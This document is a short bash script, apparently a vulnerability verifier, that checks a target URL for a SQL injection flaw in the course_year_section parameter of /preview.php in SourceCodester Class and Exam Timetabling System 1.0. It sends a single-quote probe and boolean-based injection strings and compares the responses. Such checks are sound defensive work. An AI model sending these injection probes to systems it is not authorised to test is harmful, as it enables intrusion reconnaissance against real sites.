SourceCodester Class and Exam Timetabling System 1.0 — SQL injection in /preview.php course_year_section parameter

#!/usr/bin/env bash
# noisgate verifier — CVE-2026-13485
# SourceCodester Class and Exam Timetabling System 1.0 — SQLi in /preview.php
# Usage: ./check_cve_2026_13485.sh <base_url>
set -u

BASE="${1:-}"
if [[ -z "$BASE" ]]; then
  echo "Usage: $0 <base_url>  e.g. https://timetable.lab.local" >&2
  exit 2
fi
BASE="${BASE%/}"

UA="noisgate-verifier/1.0"
TMP="$(mktemp)"
trap 'rm -f "$TMP"' EXIT

# Step 1: fingerprint the app at all
FP=$(curl -sk -A "$UA" --max-time 10 -o "$TMP" -w "%{http_code}" "$BASE/preview.php?course_year_section=1")
if [[ "$FP" == "000" || "$FP" == "404" ]]; then
  echo "UNKNOWN — /preview.php not reachable (HTTP $FP). Asset may not run this product."
  exit 0
fi

# Step 2: probe with a benign single-quote — a vulnerable build returns a MySQL error
PROBE=$(curl -sk -A "$UA" --max-time 10 "$BASE/preview.php?course_year_section=1%27")
if echo "$PROBE" | grep -qiE 'you have an error in your sql syntax|mysql_fetch|mysqli_|sqlstate|warning: mysql'; then
  echo "VULNERABLE — /preview.php course_year_section emits SQL error on single quote."
  exit 1
fi

# Step 3: boolean differential — same length response for 1=1 vs 1=2 means likely sanitized
TRUE_LEN=$(curl -sk -A "$UA" --max-time 10 "$BASE/preview.php?course_year_section=1%20AND%201%3D1" | wc -c)
FALSE_LEN=$(curl -sk -A "$UA" --max-time 10 "$BASE/preview.php?course_year_section=1%20AND%201%3D2" | wc -c)
DIFF=$(( TRUE_LEN > FALSE_LEN ? TRUE_LEN - FALSE_LEN : FALSE_LEN - TRUE_LEN ))
if (( DIFF > 50 )); then
  echo "VULNERABLE — boolean-based differential detected (delta=$DIFF bytes)."
  exit 1
fi

echo "PATCHED or NOT-AFFECTED — no SQL error, no boolean differential on /preview.php."
exit 0